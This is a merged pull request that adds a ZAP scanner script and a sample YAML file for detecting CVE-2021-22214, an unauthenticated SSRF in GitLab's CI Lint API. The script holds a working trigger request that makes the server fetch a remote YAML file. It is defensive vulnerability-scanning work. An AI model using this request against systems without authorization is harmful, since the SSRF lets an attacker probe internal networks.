Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
## [Unreleased]
### Added
- active/Cross Site WebSocket Hijacking.js > an active scan for Cross-Site WebSocket Hijacking vulnerability
- targeted/cve-2021-22214.js > A targeted script to check for Unauthorised SSRF on GitLab - CVE 2021-22214

### Changed
- Update links in READMEs.
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# This is a sample file for the purpose of demonstrating Cve-2021-22214, Unauthenticated GitLab SSRF - CI Lint API
:.api_test:
:rules:
- :if: $CI_PIPELINE_SOURCE=="merge_request_event"
:changes:
- src/api/*
:deploy:
:rules:
- :when: manual
:allow_failure: true
:extends:
- ".api_test"
:script:
- echo "hello world"
139 changes: 139 additions & 0 deletions targeted/cve-2021-22214.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,139 @@
/**
* Contributed by Astra Security (https://www.getastra.com/)
* @author Prince Mendiratta <prince.mendiratta@getastra.com>
*/

var pluginid = 100024;

var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender")
var Model = Java.type("org.parosproxy.paros.model.Model")
var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference")
var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader")
var Control = Java.type("org.parosproxy.paros.control.Control")
var ExtensionAlert = Java.type("org.zaproxy.zap.extension.alert.ExtensionAlert")
var session = Model.getSingleton().getSession();

// Print Statements using script name
function logger() {
print("[" + this["zap.script.name"] + "] " + arguments[0]);
}

/**
* Unauthenticated GitLab SSRF - CI Lint API - CVE-2021-22214
*
* A function which will be invoked against a specific "targeted" message.
*
* @param msg - the HTTP message being acted upon. This is an HttpMessage object.
*/
function invokeWith(msg) {

var url = msg.getRequestHeader().getURI().toString();
var alertName = "Unauthorised SSRF on GitLab"
var alertDesc = "[CVE-2021-22214]\nServer-side request forgery (SSRF) vulnerabilities let an attacker send crafted requests from " +
"the back-end server of a vulnerable web application.\n" +
"A server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an " +
"unauthenticated attacker even on a GitLab instance where registration is limited.\n" +
"By exploiting a Server Side Request Forgery vulnerability, attackers may be able to scan the local or external networks to which the " +
"vulnerable server is connected to."
var alertSol = "Upgrade to the latest version of GitLab."
var alertReference = "https://nvd.nist.gov/vuln/detail/CVE-2021-22214"
var cweId = 918; // Server-Side Request Forgery (SSRF)
var wascId = 15; // Application Misconfiguration

// To check if script is running
logger("Testing Script against URL - " + url);

var exploitResponse = sendReq(msg);
var status = exploitResponse.getResponseHeader().getStatusCode();
var rebody = exploitResponse.getResponseBody().toString();
// The Content-Type Header
// It would ALWAYS be in JSON for the GitLab Exploit
var ctype = exploitResponse.getResponseHeader().getHeader("Content-Type");

// Checks to make sure that the response is by a GitLab Instance
// on the server
// A unique term in the demo YAML file which will be present in
// the response body when the lint check succeeds
if (status === 200 && ctype === "application/json" && rebody.contains("CI_PIPELINE_SOURCE")) {
var alertAttack = exploitResponse.getRequestBody().toString();
var alertEvidence = "CI_PIPELINE_SOURCE";
var otherInfo = "Presence of a unique term, [CI_PIPELINE_SOURCE] was detected in the response, which is part of the payload."
customAlert(
pluginid,
3, // risk: 0: info, 1: low, 2: medium, 3: high
3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed
alertName,
alertDesc,
alertAttack,
alertEvidence,
otherInfo,
alertSol,
alertReference,
cweId,
wascId,
msg,
url
);
};
logger("Script run completed.");
}

/**
* Send a custom HTTP Request by manipulating the HttpMessage Object.
*
* @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned
* @return {Object.<HttpMessage>} - The HTTP Response
*/
function sendReq(msg) {
var newReq = generateRequest(msg);
var sender = new HttpSender(Model.getSingleton().getOptionsParam().getConnectionParam(), true, 6)
sender.sendAndReceive(newReq);
// Debugging
// logger("Request Header -> " + newReq.getRequestHeader().toString())
// logger("Request Body -> " + newReq.getRequestBody().toString())
// logger("Response Header -> " + newReq.getResponseHeader().toString())
// logger("Raw Response Body -> " + newReq.getResponseBody().toString())
return newReq;
}

/**
*
* @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned
* @returns {Object.<HttpMessage>} - The HttpMessage with modified Request Header
*/
function generateRequest(msg) {
// The JSON Body Payload
var obj = {"include_merged_yaml": true, "content": "include:\n remote: https://raw.githubusercontent.com/zaproxy/community-scripts/main/src/main/resources/org/zaproxy/zap/extension/communityScripts/resources/cve-2021-22214.yml"}
var newReq = msg.cloneRequest();
newReq.getRequestHeader().setMethod('POST');
// The URL should be {{BaseURL}}/api/v4/ci/lint
newReq.getRequestHeader().getURI().setPath('/api/v4/ci/lint');
newReq.setRequestBody(JSON.stringify(obj));
newReq.getRequestHeader().setHeader(HttpHeader.CONTENT_TYPE,"application/json");
newReq.getRequestHeader().setContentLength(newReq.getRequestBody().length());

return newReq;
}

/**
* Raise an alert.
* @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
*/
function customAlert(pluginid, alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, otherInfo, alertSol, alertReference, cweId, wascId, msg, url) {
var extensionAlert = Control.getSingleton().getExtensionLoader().getExtension(ExtensionAlert.NAME);
var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg);

var alert = new org.parosproxy.paros.core.scanner.Alert(pluginid, alertRisk, alertConfidence, alertName);
alert.setDescription(alertDesc);
alert.setAttack(alertAttack);
alert.setEvidence(alertEvidence);
alert.setOtherInfo(otherInfo);
alert.setSolution(alertSol);
alert.setReference(alertReference);
alert.setCweId(cweId);
alert.setWascId(wascId);
alert.setMessage(msg);
alert.setUri(url);

extensionAlert.alertFound(alert, ref);
}